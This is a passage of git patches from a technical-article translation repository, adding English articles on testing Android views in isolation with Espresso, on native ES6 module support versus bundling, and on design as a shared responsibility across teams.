+> * 校对者：
+
+# Testing Views in Isolation with Espresso #
+        
+
+In this post, we'll show you how and why you should use Espresso to test your custom Views on an Android device.
+
+You can use Espresso to test entire screens or flows at once. These tests launch an Activity and perform actions as a user would, including waiting for data to load or navigating to other screens.
+
+They're useful because you need end-to-end tests to validate common user flows. These automated tests should run at regular intervals, enabling you to spend manual QA time performing exploratory tests.
+
+That said, these aren’t tests that you can run frequently. Running the whole suite can take hours (imagine a suite that includes verifying offline sync for media content), so you might choose to run them at night.
+
+It's difficult because these types of tests incorporate multiple points of potential failure. Ideally when a single test fails, you want it to fail because of a single logical assertion.
+
+Most (or a lot) of the regressions you can introduce are in the UI. They might be subtle so we don't notice them when adding new features, but eagle-eyed QA teams often do.
+
+It's such a waste of time.
+
+## What can you do? ##
+
+Let's look at using Espresso to test that you have correctly bound data to Views.
+
+At Novoda, the Views we write are mostly extensions of existing View and ViewGroup classes on Android. They typically only expose one or two extra methods, which are used to bind callbacks and the data object/view model, like this:
+
+```
+public class MovieItemView extends RelativeLayout {  
+  private TextView titleTextView;
+  private Callback callback;
+
+  public void attach(Callback callback) {
+    this.callback = callback;
+  }
+
+  public void bind(Movie movie) {
+    titleTextView.setText(movie.name());
+    setOnClickListener(new OnClickListener() {
+      @Override 
+      public void onClick(View v) {
+        callback.onClick(movie);
+      }
+    });
+  }
+}
+```
+
+They group logical parts of the UI together and often encompass naming conventions from the business domain. You will rarely see ‘raw’ Android Views in Activity layouts in our work at Novoda.
+
+Let’s write these View tests in a BDD style, like "given MovieItemView is bound to Edward Scissorhands, then title is set as Edward Scissorhands" or "given MovieItemView is bound to Edward Scissorhands, when clicking on view, then onClick(Edward Scissorhands) is called", etc.
+
+## Couldn't you have caught these regressions with unit tests? ##
+
+Why do you need Espresso to run these tests if you’re using a presentation pattern like MVP or MVVM, which can be unit-tested?
+
+First, let’s go over the presentation flow and describe what you can test to see how the Espresso tests can augment it.
+
+- Presenters subscribe to data producers that send events
+- Events can be of type `loading`, `idle` or `error`, and may or may not contain data to display
+- Presenters will forward these events to "displayers" (“View” in MVP) using methods like `display(List<Movie>)`, `displayCachedDataWhileLoading(List<Movie>)` or `displayEmptyScreen()`, etc.
+- The implementation of displayers will show/hide Android Views and do things like `moviesView.bind(List<Movie>)`
+
+You can unit-test the presenters completely, verifying that the correct methods on the displayers are called with the correct arguments.
+
+Can you test the displayers in the same way? Yes, you can mock the Android Views and verify you're calling the correct methods on them. It won't be at the correct granularity though:
+
+- your displayer could create or update the adapter of a RecyclerView or ViewPager, but this gives you no assurances of what the item/page is displaying
+- Android Views are setup in code with attributes inflated from XML (layouts and styles); verifying method calls isn't enough to assert what's displayed
+
+## Setting up for the tests ##
+
+Let’s use the [`espresso-support`](https://github.com/novoda/spikes/tree/master/espresso-support) library to get started.
+
+Add the dependencies to your build.gradle file (available from JCenter):
+
+```
+debugCompile 'com.novoda:espresso-support-extras:0.0.3'  
+androidTestCompile 'com.novoda:espresso-support:0.0.3'
+```
+
+The `extras` artifact includes the `ViewActivity`, which needs to be part of your app under test. You can use this Activity to hold a single View, which you can test with Espresso.
+
+The core artifact (containing custom test rules) only needs to be included as part of your `androidTest` dependencies.
+
+The `ViewTestRule` is used in a similar way to the `ActivityTestRule`. Instead of passing the Activity class that you want to launch, you should pass the layout file containing the View you want to test:
+
+```
+@RunWith(AndroidJUnit4.class)publicclassMovieItemViewTest{  
+  @Rule
+  public ViewTestRule<MovieItemView> viewTestRule=newViewTestRule<>(R.layout.test_movie_item_view);
+  ...
+```
+
+You can specify the View type for the root of the layout with `ViewTestRule<MovieItemView>`.
+
+The `ViewTestRule` extends `ActivityTestRule<ViewActivity>`, so it'll always open `ViewActivity`. `getActivityIntent()` is overridden so you can pass `R.layout.test_movie_item_view` to `ViewActivity` as an Intent extra.
+
+You can use Mockito in your tests to substitute for the callbacks:
+
+```
+@Rule
+public MockitoRule mockitoRule = MockitoJUnit.rule();
+
+@Mock
+MovieItemView.Listener movieItemListener;
+
+@Before
+publicvoidsetUp(){  
+  MovieItemView view = viewTestRule.getView();
+  view.attachListener(movieItemListener);
+  ...
+ }
+```
+
+ViewTestRule has a method `bindViewUsing(Binder)`, which gives you a reference to the View so you can interact with it. While you could access the View directly with `viewTestRule.getView()`, you want to ensure any interaction with the View is performed on the main thread, not the test thread.
+
+```
+@Before
+public void setUp() {  
+  MovieItemView view = viewTestRule.getView();
+  view.attachListener(movieItemListener);
+  viewTestRule.bindViewUsing(new ViewTestRule.Binder<MovieItemView>() {
+    @Override
+    public void bind(MovieItemView view) {
+      view.bind(EDWARD_SCISSORHANDS);
+    }
+  });
+}
+```
+
+## Ready to test ##
+
+Apps only really do two things, from the user's point of view:
+
+- they display information
+- they respond to user actions
+
+To write tests for these two cases, you can start by asserting that the correct information is displayed using standard Espresso ViewMatchers and ViewAssertions:
+
+```
+@Test
+public void titleSetToMovieName() {  
+  onView(withId(R.id.movie_item_text_name))
+      .check(matches(withText(EDWARD_SCISSORHANDS.name)));
+}
+```
+
+Next, you should make sure that the user actions correspond to the correct event being fired, with the correct arguments:
+
+```
+@Test
+public void clickMovieItemView() {  
+  onView(withClassName(is(MovieItemView.class.getName())))
+      .perform(click());
+
+  verify(movieItemListener)
+      .onClick(eq(EDWARD_SCISSORHANDS));
+}
+```
+
+That's it, I hope you find this useful.
+
+In a future post, I'll cover using Espresso to test your Views for TalkBack support.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 0a04324fc5ff3a0e4ab4691953d980144358ff9e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 17 Apr 2017 23:00:36 +0800
Subject: [PATCH 190/638] Create
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...browsers-is-it-time-to-rethink-bundling.md | 335 ++++++++++++++++++
 1 file changed, 335 insertions(+)
 create mode 100644 TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
new file mode 100644
index 00000000000..2481f7b2bab
--- /dev/null
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -0,0 +1,335 @@
+> * 原文地址：[ES6 modules support lands in browsers: is it time to rethink bundling?](https://www.contentful.com/blog/2017/04/04/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling/)
+> * 原文作者：[Stefan Judis](https://www.contentful.com/about-us/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+#  ES6 modules support lands in browsers: is it time to rethink bundling?  #
+
+![](http://images.contentful.com/256tjdsmm689/3xFvPzCb6wUek00gQAuU6q/0e8221e0e5c673f18d20448a9ba8924a/Contentful_ES6Modules_.png) 
+
+Writing performant JavaScript applications is a complex matter these days. Years ago, everything started with script concatenation to save HTTP requests, and then it continued with minification and wrangling of variable names to squeeze out even the last tiny bit of the code we ship.
+
+Today we have [tree shaking](https://blog.engineyard.com/2016/tree-shaking) and module bundlers, and we go back to code splitting to not block the main thread on startup and speed up [the time to interactivity](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive). We're also transpiling everything: using future features today? No problem – thanks to Babel!
+
+ES6 modules have been defined in the ECMAScript specification [for a while already](http://2ality.com/2014/09/es6-modules-final.html). The community wrote tons of articles on how to use them with Babel and how `import` differs from `require` in Node.js, but it took a while until an actual implementation landed in browsers. I was surprised to see that Safari was the first one shipping ES6 modules in its technology preview channel, and now Edge and Firefox Nightly also ship this feature – even though it's behind a flag. After having used tools like [RequireJS](http://requirejs.org/) and [Browserify](http://browserify.org/) (remember [the AMD and CommonJS discussions](https://addyosmani.com/writing-modular-js/)?) it looks like modules are finally arriving in the browser landscape, so let's see a look what the bright future will bring. 🎉
+
+
+## The traditional setup ##
+
+The usual way to build web applications is to include one single bundle that is produced using Browserify, Rollup or Webpack (or any other tool out there). A classic website that's not a SPA (single page application) consists of server-side generated HTML, which then includes a single JavaScript bundle.
+
+```
+<html>
+  <head>
+    <title>ES6 modules tryout</title>
+    <!-- defer to not block rendering -->
+    <script src="dist/bundle.js" defer></script>
+  </head>
+  <body>
+    <!-- ... -->
+  </body>
+</html>
+```
+
+The combined file includes three JavaScript files bundled with Webpack. These files make use of ES6 modules:
+
+```
+// app/index.js
+import dep1 from './dep-1';
+
+function getComponent () {
+  var element = document.createElement('div');
+  element.innerHTML = dep1();
+  return element;
+}
+
+document.body.appendChild(getComponent());
+
+// app/dep-1.js
+import dep2 from './dep-2';
+
+export default function() {
+  return dep2();
+}
+
+// app/dep-2.js
+export default function() {
+  return 'Hello World, dependencies loaded!';
+}
+```
+
+The result of this app will be a "Hello world" telling us that all files are loaded.
+
+### Shipping a bundle ###
+
+The Webpack configuration to create this bundle is relatively straightforward. There is not much happening right now except for the bundling and minification of the JavaScript files using UglifyJS.
+
+```
+// webpack.config.js
+
+const path = require('path');
+const UglifyJSPlugin = require('uglifyjs-webpack-plugin');
+
+module.exports = {
+  entry: './app/index.js',
+  output: {
+    filename: 'bundle.js',
+    path: path.resolve(__dirname, 'dist')
+  },
+  plugins: [
+    new UglifyJSPlugin()
+  ]
+};
+```
+
+The three base files are relatively small and have a total size of 347 bytes.
+
+```
+$ ll app
+total 24
+-rw-r--r--  1 stefanjudis  staff    75B Mar 16 19:33 dep-1.js
+-rw-r--r--  1 stefanjudis  staff    75B Mar  7 21:56 dep-2.js
+-rw-r--r--  1 stefanjudis  staff   197B Mar 16 19:33 index.js
+```
+
+When I ran this through Webpack, I got a bundle with the size of 856 bytes, which is roughly 500 bytes boilerplate. These additional bytes are acceptable, as it's nothing compared to the bundles most of us ship in production. Thanks to Webpack, we can already use ES6 modules.
+
+
+```
+$ webpack
+Hash: 4a237b1d69f142c78884
+Version: webpack 2.2.1
+Time: 114ms
+Asset       Size        Chunks  Chunk Names
+bundle.js   856 bytes   0       [emitted]  main
+  [0] ./app/dep-1.js 78 bytes {0}[built]
+  [1] ./app/dep-2.js 75 bytes {0}[built]
+  [2] ./app/index.js 202 bytes {0}[built]
+```
+
+## The new setup using native supported ES6 modules ##
+
+Now that we have the "traditional bundle" for all the browsers that don't support ES6 modules yet, we can start playing around with the cool stuff. To do so, let's add in the `index.html` file a new script element pointing to the ES6 module with `type="module"`.
+
+
+```
+<html><head><title>ES6 modules tryout</title><!-- in case ES6 modules are supported --><script src="app/index.js"type="module"></script><script src="dist/bundle.js"defer></script></head><body><!-- ... --></body></html>
+```
+
+When we take a look at Chrome, we'll see that there is not much more happening.
+
+![image01](http://images.contentful.com/256tjdsmm689/4JHwnbyrssomECAG2GI8se/e8e35adc37bc0627f0902bcc2fdb52df/image01.png)
+
+The bundle is loaded as before, "Hello world!" is shown, but that's it. And that's excellent, because this is how web works: browsers are forgiving, they won't throw errors when they don't understand markup we send down the wire. Chrome just ignores the script element with the type it doesn't know.
+
+Now, let's check the Safari technology preview:
+
+![Bildschirmfoto 2017-03-29 um 17.06.26](http://images.contentful.com/256tjdsmm689/1mefe0J3JKOiAoSguwMkka/0d76c5666300ed0b631a0fe548ac5b52/Bildschirmfoto_2017-03-29_um_17.06.26.png)
+
+Sadly, there is no additional "Hello world" showing up. The reason is the difference between build tools and native ES modules: whereas Webpack figures out which files to include during the build process, when running ES modules in the browser, we need to define concrete file paths.
+
+```
+// app/index.js
+
+// This needs to be changed
+// import dep1 from './dep-1';
+
+// This works
+import dep1 from './dep-1.js';
+```
+
+The adjusted file paths work great, except for the fact that Safari preview now loads the bundle and the three individual modules, meaning that our code will be executed twice.
+
+![image02](http://images.contentful.com/256tjdsmm689/6MeIDF7GuW6gy8om4Ceccc/a0dba00a4e0f301f2a7fd65449d044ab/image02.png)
+
+The solution is the `nomodule` attribute, which we can set on the script element requesting the bundle. This attribute [was added to the spec quite recently](https://github.com/whatwg/html/commit/a828019152213ae72b0ed2ba8e35b1c472091817) and Safari Preview supports it as of the [end of January](https://trac.webkit.org/changeset/211078/webkit). It tells Safari that this script is the "fallback" script for the lack of ES6 modules support, and in this case shouldn't be executed.
+
+```
+<html>
+  <head>
+    <title>ES6 modules tryout</title>
+    <!-- in case ES6 modules are supported -->
+    <script src="app/index.js" type="module"></script>
+    <!-- in case ES6 modules aren't supported -->
+    <script src="dist/bundle.js" defer nomodule></script>
+  </head>
+  <body>
+    <!-- ... -->
+  </body>
+</html>
+```
+
+![image03](http://images.contentful.com/256tjdsmm689/1YchZEromA2ueKUCoYqMsc/2c68c46ffd2a3ad73d99d17020d56093/image03.png)
+
+That's good. With the combination of `type="module"` and `nomodule`, we can load a classic bundle in not supporting browsers and load JavaScript modules in supporting browsers.
+
+You can check out this state in production at [es-module-on.stefans-playground.rocks](http://es-module-on.stefans-playground.rocks/).
+
+### Differences between modules and scripts ###
+
+There are a few gotchas here, though. First of all, JavaScript running in an ES6 module is not quite the same as in a regular script element. Axel Rauschmayer covers this quite nicely in [his book Exploring ES6](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts). I highly recommend you check it out but let's just quickly mention the main differences:
+
+- ES6 modules are running in strict mode by default (no need for `'use strict'` anymore).
+- Top-level value of `this` is `undefined`.
+- Top-level variables are local to the module.
+- ES6 modules are loaded and executed asynchronously after the browser finished parsing the HTML.
+
+In my opinion, these are all huge advantages. Modules are local – there is no need for IIFEs around everything, and also we don't have to fear global variable leaking anymore. Also running in strict mode by default means that we can drop a lot of `'use strict'` statements.
+
+And from a performance point of view (probably the most important one) **modules load and execute deferred by default**. So we won't accidentally add blocking scripts to our website and there is no [SPOF](https://www.stevesouders.com/blog/2010/06/01/frontend-spof/) issue when dealing with script `type="module"` elements. We could place an `async` attribute on it, which overwrites the default deferred behavior, but `defer`[is a good choice these days](https://calendar.perfplanet.com/2016/prefer-defer-over-async/).
+
+```
+<!-- not blocking with defer default behavior -->
+<script src="app/index.js" type="module"></script>
+
+<!-- executed after HTML is parsed -->
+<script type="module">
+  console.log('js module');
+</script>
+
+<!-- executed immediately -->
+<script>
+  console.log('standard module');
+</script>
+```
+
+In case you want to check the details around that, the [script element spec](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element) is an understandable read and includes some examples.
+
+## Minifying of pure ES6 ##
+
+But we're not quite there yet! We serve a minified bundle for Chrome and individual not minified files for Safari Preview now. How can we make these smaller? UglifyJS should do the job just fine, right?
+
+It turns out that UglifyJS is not able to fully deal with ES6 code yet. There is a `harmony` development branch available, but unfortunately it didn't work with my three JavaScript files at the time of writing.
+
+```
+$ uglifyjs dep-1.js -o dep-1.min.js
+Parse error at dep-1.js:3,23
+export default function() {
+                      ^
+SyntaxError: Unexpected token: punc (()
+// ..
+FAIL: 1
+```
+
+
+But UglifyJS is in every toolchain today, how does this work for all the projects written in ES6 out there?
+
+The usual flow is that tools like Babel transpile to ES5, and then Uglify comes into play to minify this ES5 code. I want to ignore ES5 transpilation in this article: we're dealing with the future here, Chrome has [97% ES6 coverage](https://kangax.github.io/compat-table/es6/#chrome59) and Safari Preview has already fabulous [100% ES6 coverage since version 10](https://kangax.github.io/compat-table/es6/#safari10_1).
+
+I asked the Twittersphere if there is a minifier available that can deal with ES6, and [Lars Graubner](https://twitter.com/larsgraubner) pointed me towards [Babili](https://github.com/babel/babili). Using Babili, we can easily minify the ES6 modules.
+
+
+```
+// app/dep-2.js
+
+export default function() {
+  return 'Hello World. dependencies loaded.';
+}
+
+// dist/modules/dep-2.js
+export default function(){return 'Hello World. dependencies loaded.'}
+```
+
+With the Babili CLI tool, it's almost too easy to minify all the files separately.
+
+```
+$ babili app -d dist/modules
+app/dep-1.js -> dist/modules/dep-1.js
+app/dep-2.js -> dist/modules/dep-2.js
+app/index.js -> dist/modules/index.js
+```
+
+The result looks then as follows.
+
+```
+$ ll dist
+-rw-r--r--  1 stefanjudis  staff   856B Mar 16 22:32 bundle.js
+
+$ ll dist/modules
+-rw-r--r--  1 stefanjudis  staff    69B Mar 16 22:32 dep-1.js
+-rw-r--r--  1 stefanjudis  staff    68B Mar 16 22:32 dep-2.js
+-rw-r--r--  1 stefanjudis  staff   161B Mar 16 22:32 index.js
+```
+
+The bundle is still roughly around 850B, and all the files are around 300B in total. I'm ignoring GZIP compression here as [it doesn't work well on such small file sizes](http://webmasters.stackexchange.com/questions/31750/what-is-recommended-minimum-object-size-for-gzip-performance-benefits) (we'll get back to that later).
+
+## Speeding up ES6 modules with rel=preload? ##
+
+The minification of the single JS files is a huge success. It's 298B vs. 856B, but we could even go further and speed things up more. Using ES6 modules we are now able to ship less code, but looking at the waterfall again we'll see that the requests are made sequentially because of the defined dependency chain of the modules.
+
+What if we could throw `<link rel="preload" as="script">` elements in the mix which can be used to tell the browser upfront that additionally requests will be made soon? We have build tool plugins like Addy Osmani's [Webpack preload plugin](https://github.com/GoogleChrome/preload-webpack-plugin) for code splitting already – is something like this possible for ES6 modules? In case you don't know how `rel="preload"` works, you should check out the [article on this topic](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) by Yoav Weiss on Smashing Magazine.
+
+Unfortunately, preloading of ES6 modules is not so easy because they behave differently than normal scripts. The question is how a link element with a set `rel="preload"` attribute should treat an ES6 module? Should it fetch all the dependent files, too? This is an obvious question to answer, but there are more browser internal problems to solve, too, if module treatment should go into the `preload` directive. In case you're interested in this topic [Domenic Denicola](https://twitter.com/domenic) discusses these problems [in a GitHub issue](https://github.com/whatwg/fetch/issues/486), but it turns out that there are too many differences between scripts and modules to implement ES6 module treatment in the `rel="preload"` directive. The solution might be another `rel="modulepreload"` directive to clearly separate functionalities, with [the spec pull request](https://github.com/whatwg/html/pull/2383) pending at the time of writing, so let's see how we'll preload modules in the future.
+
+## Bringing in real dependencies ##
+
+Three files don't make a real app, so let's add a real dependency. Fortunately, [Lodash](https://lodash.com/) offers all of its functionality also in split ES6 modules, which I then minified using Babili. So let's modify the `index.js` file to also include a Lodash method.
+
+
+```
+import dep1 from './dep-1.js';
+import isEmpty from './lodash/isEmpty.js';
+
+function getComponent() {
+  const element = document.createElement('div');
+  element.innerHTML = dep1() + ' ' + isEmpty([]);
+
+  return element;
+}
+
+document.body.appendChild(getComponent());
+```
+
+The use of `isEmpty` is trivial in this case, but let's see what happens now after adding this dependency.
+
+![image07](http://images.contentful.com/256tjdsmm689/13F95Xpl32Mu0MgE0mgS2o/c9dbc002e53bf56ee0eeb0df40b55f9c/image07.png)
+
+The request count went up to over 40, the page load time went up from roughly 100ms to something between 400ms and 800ms on a decent wifi connection, and the shipped overall size increased to approximately 12KB without compression. Unfortunately, Safari Preview is not available on [WebPagetest](https://www.webpagetest.org/) to run some reliable benchmarks.
+
+Chrome receiving the bundled JavaScript, on the other hand, is at a slim ~8KB file size.
+
+![image05](http://images.contentful.com/256tjdsmm689/6xxfWBW9nqAeqQ8ck0MqU/62a74102e9247d785a61a84766356f51/image05.png)
+
+This 4KB difference is definitely something to check. You can find this example at [lodash-module-on.stefans-playground.rocks](https://lodash-module-on.stefans-playground.rocks/).
+
+### Compression works only well on larger files ###
+
+In case you looked closely at the screenshots of the Safari developer tools, you might have noticed that the transferred file size was actually bigger than the source. Especially in a large JavaScript app, including a lot of small chunks makes a big difference and that's because GZIP doesn't play well with small file sizes.
+
+Khan Academy [discovered the same thing](http://engineering.khanacademy.org/posts/js-packaging-http2.htm) a while ago when experimenting with HTTP/2. The idea of shipping smaller files is great to guarantee perfect cache hit ratios, but at the end, it's always a tradeoff and it's depending on several factors. For a large code base splitting the code into several chunks (a *vendor* and an *app* bundle) makes sense, but shipping thousands of tiny files that can't be compressed properly is not the right approach.
+
+### Tree shaking is the cool kid in town ###
+
+Another thing to point out is that thanks to the relatively new tree shaking mechanism, build processes can eliminate code that's not used and imported by any other module. The first build tool that supported this was Rollup, but now Webpack in version 2 supports it as well — [as long as we disable the `module` option in babel](https://medium.freecodecamp.com/tree-shaking-es6-modules-in-webpack-2-1add6672f31b#22c4).
+
+Let's say we changed `dep-2.js` to include things that won't be imported by `dep-1.js`.
+
+```
+export default function() {
+  return 'Hello World. dependencies loaded.';
+}
+
+export const unneededStuff = [
+  'unneeded stuff'
+];
+```
+
+Babili will simply minify the file and Safari Preview, in this case, would receive several code lines that are not used. A Webpack or Rollup bundle, on the other hand, won't include `unneededStuff`. Tree shaking offers huge savings that definitely should be used in a real production code base.
+
+## The future looks bright, but build processes are here to stay ##
+
+So, ES6 modules are on their way, but it doesn't look like anything will change when they finally arrive in all the major browsers. We won't start shipping thousands of tiny files to guarantee good compression, and we won't abandon build processes to make use of tree shaking and dead code elimination. **Frontend development is and will be as complicated as always**.
+
+**The most important thing to remember is that measuring is the key to succees**. Don't split everything and assume that it will lead to an improvement. Just because we might have support for ES6 modules in browsers soon, it doesn't mean that we can get rid of a build process and a proper "bundle strategy". Here at Contentful we'll stick to our build processes, and continue to ship bundles including our [JavaScript SDKs](https://www.contentful.com/developers/docs/javascript/).
+
+Yet, I have to admit that Frontend development still feels great. JavaScript evolves, and we'll finally have a way to deal with modules baked into the language. I can't wait to see how and if this influences the JavaScript ecosystem and what the best practices will be in a couple of years.
+
+## Additional resources ##
+
+- [Article series on ES6 modules](https://blog.hospodarets.com/native-ecmascript-modules-the-first-overview) by Serg Hospodarets
+- [The modules chapter](http://exploringjs.com/es6/ch_modules.html) in "[Exploring ES6](http://exploringjs.com/)"
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 2161ad5a7ef2005ccb44401457ae4ea8adbf02be Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 17 Apr 2017 23:12:26 +0800
Subject: [PATCH 191/638] Create everyone-is-a-designer-get-over-it.md

---
 TODO/everyone-is-a-designer-get-over-it.md | 85 ++++++++++++++++++++++
 1 file changed, 85 insertions(+)
 create mode 100644 TODO/everyone-is-a-designer-get-over-it.md

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
new file mode 100644
index 00000000000..aee8b2663cd
--- /dev/null
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -0,0 +1,85 @@
+> * 原文地址：[Everyone is a designer. Get over it.](https://library.gv.com/everyone-is-a-designer-get-over-it-501cc9a2f434)
+> * 原文作者：[Daniel Burka](https://library.gv.com/@dburka)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+
+![](https://cdn-images-1.medium.com/max/2000/1*xIoFsnWI_2-1VOy00a2KrQ.jpeg)
+
+Photo by Alice Achterhof [via Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
+
+# Everyone is a designer. Get over it. #
+
+Recently, [Jared Spool](https://www.uie.com/about/) caught my attention with [an article](https://articles.uie.com/signup/)  about how Netflix’s performance engineers are *actually designers*. It’s a provocative idea, but it makes sense. His argument is that everyone in your organization (including performance engineers) designs the product, not just the people with “design” in their job titles.
+
+![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
+
+From some of the reactions, you might think Jared had kidnapped someone’s baby for ritual sacrifice. What exactly did Jared write?
+
+> The members of this team are performance engineers. They are architecting, engineering, and maintaining the performance of a very complex system. It occupies all their time and then some. In systems engineering, there are few jobs more technical than these.
+
+> And yet, at the very moment that a Netflix viewer’s video stream stops and that spinning animation appears, indicating the player is now awaiting more data, these engineers make a dramatic change. **They become user experience designers.**
+
+I made that last sentence bold — because it’s really important. Some designers are uncomfortable with the idea that an engineer or a salesperson or a CFO could be a *designer*.
+
+![](https://cdn-images-1.medium.com/max/800/1*ErZDaGRy3mJ19jGdWqeJgA@2x.png)
+
+Common reactions
+
+Whether you like it or not, whether you approve it or not, people outside of your design team are making significant *design* choices that affect your customers in important ways. They are *designing* your product. They are *designers*.
+
+This shouldn’t be provocative — it’s just a statement of fact. I work with[ dozens of startups](http://www.gv.com/portfolio/) every year, and I see it happen at every one. A CFO makes a pricing decision and changes the product experience. An engineer makes a performance trade-off. A salesperson writes a script for talking to customers. In my view, people who fundamentally change the customer’s experience are *designers*.
+
+If this is so self-evident, why do Jared and I press the point? I keep beating the drum because I want designers to change the way they think about their role and become better stewards of good design.
+
+For a moment, consider how this shift in perspective could change the way you work.
+
+#### Everyone needs a design mindset ####
+
+When you accept the reality that design decisions are coming from outside your group, by people without “design” in their job titles, you approach your co-workers differently . Now they’re not just your co-workers — they’re your design team.
+
+The companies that produce great design, such as Apple and Airbnb, have learned this. Alex Schleifer, VP of design at Airbnb,[ tells *Wired*](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/) how the company *isn’t* design-led:
+
+> *The solution [at Airbnb] actually deemphasizes the designers. The point… isn’t to create a “design-led culture,” because that tends to tell anyone who isn’t a designer that their insights take a backseat. It puts the entire organization in the position of having to react to one privileged point of view. Instead, Schleifer wants more people to appreciate what typically lies only within the realm of designers — the user viewpoint.*
+
+Does everyone need all the skills of a designer? Of course not. But each person needs to be armed with the tools to understand how their decisions affect the customer experience.
+
+When an engineer takes a shortcut and scrimps on performance, they need to understand how that damages the user experience. Likewise, when a designer pushes an engineer to make a change that affects performance, that engineer should help the designer make the best overall design decision — not just roll over and do what the designer asked. It’s this type of respectful collaboration that makes great design happen.
+
+One of the best ways to encourage empathy is to watch customer research studies with co-workers from across your company. When my colleague Michael Margolis runs a study with a GV company, we insist that the real team — not just the designers — watch those interviews and take notes. If it’s not possible for everyone to watch in real time, you can record the sessions and schedule a “viewing party” for later.
+
+#### Work outside your design team ####
+
+When you accept that design happens almost everywhere in your organization, you have to take responsibility for it. Your app is slow? Go sit with your engineering team. Your marketing team is poorly communicating your product to future customers? You’d better offer to work with them on the problem.
+
+Yes, doing design with everyone at your company is a lot of work. But it’s necessary if you want to be a truly great designer — otherwise, you’re simply papering over bad decisions. For example, imagine that your CEO created a complex pricing structure for your product. You could focus on making the pricing page as clear as possible using your interface and information design skills. But the harder and more important design opportunity is to work with your CEO on repricing your product so it’s clear to customers and compatible with the business goals.
+
+Focusing on the core business is what differentiates real product design from interface design or even user experience design. Fundamental product design is really hard and requires a lot of legwork, but this is what designers at the highest level do — and it’s why their work is better than yours.
+
+![](https://cdn-images-1.medium.com/max/600/1*czW-2nrN_3l50ZzgYQYqlw@2x.png)
+
+“The Disciplines of UX Design” by Dan Saffer and Thomas Gläser
+
+#### Grow your design team to include non-designers ####
+
+Design is a hard job. You’ll need a wide range of skills (look at all of those circles in the[ diagram of UX Disciplines](https://www.fastcodesign.com/1671735/infographic-the-intricate-anatomy-of-ux-design)  by Dan Saffer) and years of practice to truly master design.
+
+Maybe that’s why so many designers are offended when non-designers do design work or get called “designers” by Jared and me. You can act offended if you want, but the reality is that other people are making design decisions with or without you. Embrace them . They don’t make your job less valuable. They don’t make your job title less meaningful.
+
+Having more people who *do design* is additive, not competitive. These designers make your team and your product stronger, because they’re contributing from their unique perspectives. Help them bolster their skills, and use their expertise to the advantage of your product and company.
+
+### **Let’s make a better future together** ###
+
+A few years ago, I met an executive from a Fortune 500 company. When I told her I’m a designer, her eyes lit up. “Oh, I love design!” she said. “My group is just down the hall from the design team. They do so much creative work in there.”
+
+My heart sank. The design team was just down the hall from this executive, but they didn’t work together. Instead, they sat behind soundproof glass walls and did special “creative work” in isolation.
+
+This executive made decisions every day that affected her customers. She bears some of the blame for not reaching out to the designers “in there.” But the design team is primarily at fault — for missing an opportunity to reach out and work together on some of the business’s most important challenges.
+
+
+Thanks to [Jared M. Spool](https://medium.com/@jmspool)  for writing an excellent article, [John Zeratsky](https://medium.com/@jazer)  and [Michael Margolis](https://medium.com/@mmargolis)  for editing and suggestions, and [Alex Schleifer](https://medium.com/@alexoid)  for the excellent *Wired* article.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From da5a893d854e280b50844c21b6a86057e9b21e3e Mon Sep 17 00:00:00 2001
